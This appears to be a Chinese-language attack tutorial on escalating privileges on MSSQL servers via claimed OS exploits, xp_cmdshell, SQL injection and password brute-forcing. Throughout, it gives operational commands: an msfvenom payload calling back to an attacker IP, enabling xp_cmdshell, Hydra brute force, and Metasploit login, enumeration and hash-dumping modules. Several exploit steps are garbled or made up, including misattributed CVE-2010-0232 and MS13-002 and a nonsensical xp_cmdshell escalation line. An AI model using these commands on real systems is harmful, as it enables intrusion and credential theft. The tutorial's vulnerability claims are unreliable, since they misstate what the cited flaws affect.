1. MSSQL数据库提权概述
MSSQL数据库提权是指通过某些手段,获取管理员权限或其他高权限用户的权限,进而获取目标数据库的敏感信息或者控制目标服务器。
1.1 提权类型
常见的MSSQL数据库提权方式有以下几种:
操作系统提权:通过操作系统漏洞提升普通用户权限为管理员权限。
数据库权限提升:通过漏洞或者误配置来获取高权限用户的权限。
密码爆破:通过穷举或字典攻击等方式破解管理员或高权限用户的密码,获取目标数据库的高权限。
1.2 实现准备
在进行数据库提权前,需要掌握MSSQL数据库的基本操作,同时需要一些常见的工具:
SQL Server Management Studio:用于连接和管理MSSQL数据库。
MSSQL渗透测试工具包:包含常用的MSSQL渗透测试工具。
网络抓包工具:用于抓取数据库服务器和客户端之间的网络流量。
2. 操作系统提权
操作系统提权是一种常见的MSSQL数据库提权方式,它需要利用操作系统漏洞来获取管理员权限。
2.1 利用CVE-2010-0232漏洞进行提权
CVE-2010-0232漏洞是MSSQL Server Reporting Services中的一个漏洞,攻击者可通过利用此漏洞执行任意代码或进行提权攻击,使用这个漏洞需要满足以下几个条件:
目标操作系统为Windows 2003或Windows XP。
已知目标服务器管理员账号。
目标服务器上有MSSQL Reporting Services。
攻击者已经在目标系统中获得了Web服务用户或具有Web服务用户权限的用户的权限。
步骤如下:
首先,需要找到MSSQL Reporting Services的代码路径。
SELECT physical_path FROM reportserver.dbo.keys where key_type = 'EncryptionKeys' and machine_name = 'localhost'
将一个可执行文件复制到目标系统中,执行以下命令:
cscript.exe %TEMP%\msf.vbs
创建一个XML文件,执行以下命令:
cscript.exe %TEMP%\CVE-2010-0232.vbs -e lucifer
其中,"lucifer"为攻击者所需要获取的管理员账号。
执行以下命令,利用报告服务的特殊功能将XML文件上传到目标数据库中。
rsexec.exe http://[target ip]/reportserver -i:report.xml -s
其中,"[target ip]"为目标服务器的IP地址。
2.2 利用ms13-002漏洞进行提权
ms13-002是MSSQL Server的一个漏洞,攻击者可以利用此漏洞提升权限。
步骤如下:
使用Metasploit框架中的mssql_payload模块生成一个可执行文件,如:
msfvenom -p windows/mssql/mssql_payload LHOST=[attacker ip] LPORT=[port] -f exe
其中,"[attacker ip]"为攻击者IP地址,"[port]"为攻击者监听的端口号。
将生成的可执行文件上传到目标服务器中,运行它。
使用Metasploit框架中的mssql_enum模块查找管理员账号和密码:
msfconsole
use auxiliary/scanner/mssql/mssql_enum
set RHOSTS [target ip]
run
其中,"[target ip]"为目标服务器的IP地址。
使用Metasploit框架中的mssql_login模块验证管理员账号和密码,获取权限。
3. 数据库权限提升
数据库权限提升是一种常见的MSSQL数据库提权方式,它需要利用数据库本身的漏洞或误配置来获取高权限用户的权限。
3.1 利用xp_cmdshell提升权限
xp_cmdshell是MSSQL Server中的一个扩展存储过程,允许用户在数据库中执行操作系统命令。
步骤如下:
使用Metasploit框架中的mssql_payload模块生成一个可执行文件,如:
msfvenom -p windows/mssql/mssql_payload LHOST=[attacker ip] LPORT=[port] -f exe
其中,"[attacker ip]"为攻击者IP地址,"[port]"为攻击者监听的端口号。
将生成的可执行文件上传到目标服务器中,运行它。
启用xp_cmdshell扩展存储过程:
USE master;
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
执行以下命令,提升权限:
EXEC xp_cmdshell '[attacker ip]' - d'C:\'
其中,"[attacker ip]"为攻击者IP地址。
3.2 利用SQL注入提升权限
SQL注入是一种常见的MSSQL数据库攻击方式,攻击者通过在SQL查询语句中注入恶意代码,获取高权限用户的权限。
步骤如下:
查找可注入的MSSQL数据库:
SELECT name FROM master..sysdatabases where name NOT IN ('master','tempdb','model','msdb');
找到一个可注入的表:
SELECT name FROM [database name]..sysobjects where xtype = 'U';
其中,"[database name]"为可注入的MSSQL数据库的名称。
利用SQL注入漏洞获取管理员权限:
SELECT * FROM [table name] WHERE name='admin' OR 1 = 1';
其中,"[table name]"为可注入的表的名称。
找到管理员账号和密码:
SELECT name,password_hash FROM [table name];
4. 密码爆破
密码爆破是一种常见的MSSQL数据库攻击方式,攻击者通过猜测或穷举管理员或高权限用户的密码来获取权限。
4.1 使用Hydra工具进行密码爆破
Hydra是一种常用的密码爆破工具,可用于爆破MSSQL数据库的管理员或高权限用户的密码。
步骤如下:
安装并启动Hydra。
使用以下命令对MSSQL数据库的管理员账号进行密码爆破:
hydra -L [username dictionary] -P [password dictionary] [target ip] mssql
其中,"[username dictionary]"为用户名字典,"[password dictionary]"为密码字典,"[target ip]"为目标服务器的IP地址。
4.2 使用Metasploit框架进行密码爆破
Metasploit框架中提供了多个模块可用于进行MSSQL数据库的密码爆破。
步骤如下:
使用mssql_login模块尝试登录:
msfconsole
use auxiliary/scanner/mssql/mssql_login
set RHOSTS [target ip]
set USERNAME admin
set PASS_FILE [password dictionary]
run
其中,"[target ip]"为目标服务器的IP地址,"[password dictionary]"为密码字典。
使用mssql_enum模块查找管理员账号:
use auxiliary/scanner/mssql/mssql_enum
set RHOSTS [target ip]
run
使用mssql_hashdump模块查找管理员密码:
use auxiliary/scanner/mssql/mssql_hashdump
set RHOSTS [target ip]
run
5. 总结
MSSQL数据库提权是通过漏洞、密码破解等方式获取管理员或高权限用户的权限,亦或是获得了高权限用户的权限去入侵目标服务器。在实际操作过程中,需要根据目标服务器的操作系统和运行的MSSQL版本来选择不同的攻击手段,同时需要熟悉MSSQL数据库的基本操作和渗透测试工具的使用。